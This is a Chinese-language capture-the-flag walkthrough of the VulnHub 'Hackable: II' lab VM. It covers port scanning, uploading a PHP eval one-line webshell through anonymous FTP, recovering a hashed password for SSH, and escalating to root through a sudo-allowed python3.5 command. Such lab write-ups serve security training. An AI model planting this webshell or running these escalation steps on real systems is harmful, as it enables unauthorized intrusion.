vulnhub靶场之HACKABLE: II
准备:
攻击机:虚拟机kali、本机win10。
靶机:Hackable: II,下载地址:https://download.vulnhub.com/hackable/hackableII.ova,下载后直接vbox打开即可。
知识点:就是简单的一句话后门上传,特殊命令发现,没啥知识点。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.93。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.93,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。
ftp服务:
匿名登录ftp服务,发现存在一个CALL.html文件,下载查看该文件,未发现有效信息。
WEB服务:
访问web服务:http://192.168.5.93/显示的是apache的默认页面。
使用gobuster进行目录扫描发现一个file文件夹。
访问此目录:http://192.168.5.93/files,发现此目录下存在一个CALL.html,访问该文件返回:GET READY TO RECEIVE A CALL,与fpt服务中的文件相同。
获取shell:
在ftp中发现可以进行文件上传,因此我们上传一句话后门使用蚁剑进行连接,一句话后门:<?php @eval($_POST['x']);?>。
提权-shrek权限:
获取shell权限后在/home目录下发现shrek账户和important.txt文件,访问important.txt文件,告诉我们让我们执行:/.runme.sh。
执行/.runme.sh,发现加密的字符串:cf4c2232354952690368f1b3dfdfb24d,对此字符串进行解密得到:onion,成功获得账户和密码信息:shrek/onion。
使用获得账户和密码:shrek/onion进行ssh连接,命令:ssh shrek@192.168.5.93,获得shrek权限的shell,并在/home/shrek目录下发现user.txt文件,读取该文件获得flag值。
提权-root权限:
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在:/usr/bin/python3.5命令。
利用python3.5进行提权,获取root权限,命令:sudo /usr/bin/python3.5 -c "import os;os.system('/bin/bash')",成功获得root权限。
获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。
原文地址:https://www.cnblogs.com/upfine/p/17049675.html
- 谈谈WCF中的Data Contract (1):Data Contract Overview
- Linux基础(day66)
- 字符串的驻留(String Interning)
- 19.5 忘记Admin密码如何做
- 19.3/19.4/19.6 安装zabbix
- 欲火焚身,心静则凉--只靠冲动是不能长久地
- 深入理解C#3.x的新特性(4):Automatically Implemented Property
- 增加网卡注意点
- 深入理解C# 3.x的新特性(1): Anonymous Type
- Linux基础(day65)
- 18.12 keepalived + LVS
- 学会JS只是知道了“是什么”,并不意味着你会用JS做什么
- Linux基础(day68)
- 启动zabbix 报错
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法